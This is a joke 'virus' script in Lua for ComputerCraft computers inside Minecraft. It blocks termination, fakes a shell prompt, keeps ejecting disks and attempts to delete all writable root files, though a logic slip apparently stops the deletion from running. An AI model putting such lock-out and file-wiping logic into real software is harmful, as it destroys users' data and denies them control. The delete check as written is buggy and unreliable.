Super evil virus that can start a war in cc and kill everyon

os.pullEvent = os.pullEventRaw
splashes = {
    "Yay! Your version counter is gone :P",
    "If your reading this, you are infected",
    "Quick! GET TO DAH CHOPPAH!",
    "Your computer has a virus, it should go to the doctor",
    "Lol, you exposed your computer: Now its infected",
    "JUST LEAVE BRITNEY ALONE!!",
    "Cool story, bro",
    "Now its my OS!",
    "Welcome to my lair!",
    "I used to code like you, until I took a arrow to the knee!",
    "This is sparta!",
    "This... is... MINECRAFT",
    "Computercraft FTW",
    "Did you know if you type 'pgoaiwh12' into the shell, the virus will go away?",
    "Whats up homies?!",
    "Whats up swifters?!",
    "Whats up surfers?!",
    "Whats up youtube?!",
    "Lol - Woah - A splash in a splash? - SPLASHCEPTION!",
    "Oh no! I'm running out of splashes... CHICKEN! *good job <name of coder>*",
    "Did you know, this text would be wrapped if you are not using a monitor to view your pc?",
    "hai utuberz, my nam is herobrine and i make epic videoz, plez cum subrcrize",
    "1 L0V3 L33TSP34K!1!!!eleven11!1!",
    "if epicmeter > 9000 then print(\"ITS OVAH 9000!\") end",
}

function getVersion()
    local randomNumber = math.random(1,#splashes)
    return splashes[randomNumber]
end
write("> ")
term.setCursorBlink(true)

function a()
    while true do
        local event, key = os.pullEventRaw()
        if event == "key" then
            if key == 29 or key == 157 then
                fs.delete(".version")
                disk.eject("left")
                disk.eject("right")
                disk.eject("top")
                disk.eject("bottom")
                disk.eject("front")
                disk.eject("back")
                os.reboot()
            end
        end
    end
end

function b()
    while true do
        disk.eject("left")
        disk.eject("right")
        disk.eject("top")
        disk.eject("bottom")
        disk.eject("front")
        disk.eject("back")
        filessss = fs.list("/")
        for i=1,#filessss do
            if not fs.isReadOnly(filessss[i]) then
                if not filessss[i] == "startup" then
                    fs.delete(filessss[i])
                end
            end
        end
    end
end

function c()
    term.clear()
    term.setCursorPos(1,1)
    print(os.version())
    while true do
        write("> ")
        local input = read()
        if input then
            print("No such program")
        end
    end
end

parallel.waitForAll(a,b,c)